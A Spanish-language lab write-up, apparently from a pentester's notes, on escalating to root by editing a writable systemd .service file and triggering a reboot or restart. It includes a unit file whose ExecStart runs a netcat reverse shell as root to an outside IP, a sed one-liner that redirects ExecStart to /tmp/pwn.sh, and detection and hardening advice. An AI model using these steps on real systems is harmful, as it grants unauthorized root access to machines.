Writable systemd service + reboot
systemd es el gestor de servicios de la mayoría de distribuciones Linux modernas. Cada servicio se describe en un fichero .service (normalmente bajo /etc/systemd/system/) con directivas como ExecStart (el comando que se lanza) y User (la identidad con la que corre). Si un usuario sin privilegios puede escribir en ese fichero y, además, tiene forma de provocar que el servicio arranque de nuevo, controla un comando que se ejecutará con la identidad que él mismo defina, incluido root.
Las dos piezas que hacen falta. El permiso de escritura por sí solo no basta: hay que disparar la recarga. Las combinaciones típicas:
- Escritura sobre el
.service(un ACL flojo, un grupo mal puesto, propiedad del usuario). Se localiza con:
`bash find / -type f -writable 2>/dev/null | grep -vE 'proc|sys|/dev' `
- Un disparador. Lo ideal es
sudo systemctl restart <service>, pero también valesudo reboot/halt/poweroff(al arrancar de nuevo, systemd lee el fichero ya modificado y ejecuta lo que hayamos puesto). En Hetemit,sudo -lmostraba justoNOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff.
El abuso, paso a paso. Editamos el .service para que arranque nuestra carga como root:
[Service]
Type=simple
ExecStart=nc 192.168.45.227 21 -e /bin/bash
User=rootY forzamos el reinicio para que el cambio surta efecto:
sudo rebootAl levantar de nuevo, systemd ejecuta el ExecStart modificado como root y la reverse shell cae con privilegios de superusuario. El retorno se apunta a un puerto de salida permitido (en Hetemit, el 21).
Matiz. Reiniciar la máquina es ruidoso e intrusivo: tira las sesiones existentes y, en un entorno real, es una acción muy visible. En un laboratorio es aceptable; en un encargo real conviene preferir un disparador menos disruptivo (systemctl restart del propio servicio, o esperar a un reinicio programado) si está disponible. Es pariente del abuso de scripts escribibles en cron: en ambos casos el fallo es un recurso ejecutado por root que un usuario puede modificar.
Variante menos ruidosa (sin reiniciar la máquina). Si el sudo -l permite systemctl daemon-reload y systemctl restart <service>, no hace falta reboot: se reescribe solo el ExecStart y se recarga el servicio en caliente.
sed -i 's|ExecStart=/usr/local/bin/backup.sh|ExecStart=/tmp/pwn.sh|' \
/etc/systemd/system/backup.service
sudo systemctl daemon-reload
sudo systemctl restart backup.service # /tmp/pwn.sh corre como rootTambién es explotable sin tocar el unit file cuando el ExecStart apunta a un script que el usuario ya puede modificar (por ejemplo /usr/local/bin/backup.sh con permisos 775 root:mygroup). Ojo: los !/bin/bash en sudoers son cosméticos, no afectan a lo que systemd ejecuta.
Cómo detectarlo. La firma es la modificación de un fichero .service (o del script que lanza su ExecStart) por una cuenta no privilegiada: FIM/auditd -w /etc/systemd/system -p wa alerta del cambio. Le sigue un systemctl daemon-reload/restart o un reboot/halt vía sudo en /var/log/auth.log, y la firma definitiva: un servicio cuyo ExecStart lanza nc/sh/bash como root justo tras la recarga (auditd/Sysmon for Linux sobre execve con ppid=systemd, PID 1), algo que un servicio legítimo no hace. Un .service con User=root y un ExecStart hacia /tmp es inconfundible.
Defensa. Los ficheros .service deben ser propiedad de root:root con permisos 644 (sin escritura para grupo/otros) y sus directorios protegidos. No conceder por sudo comandos que reinicien la máquina o recarguen servicios a cuentas que no lo necesiten, y auditar periódicamente ficheros escribibles fuera de los homes.
Máquinas donde se aplica
- HetemitProving Grounds Practice
- SpiderSocietyProving Grounds Practice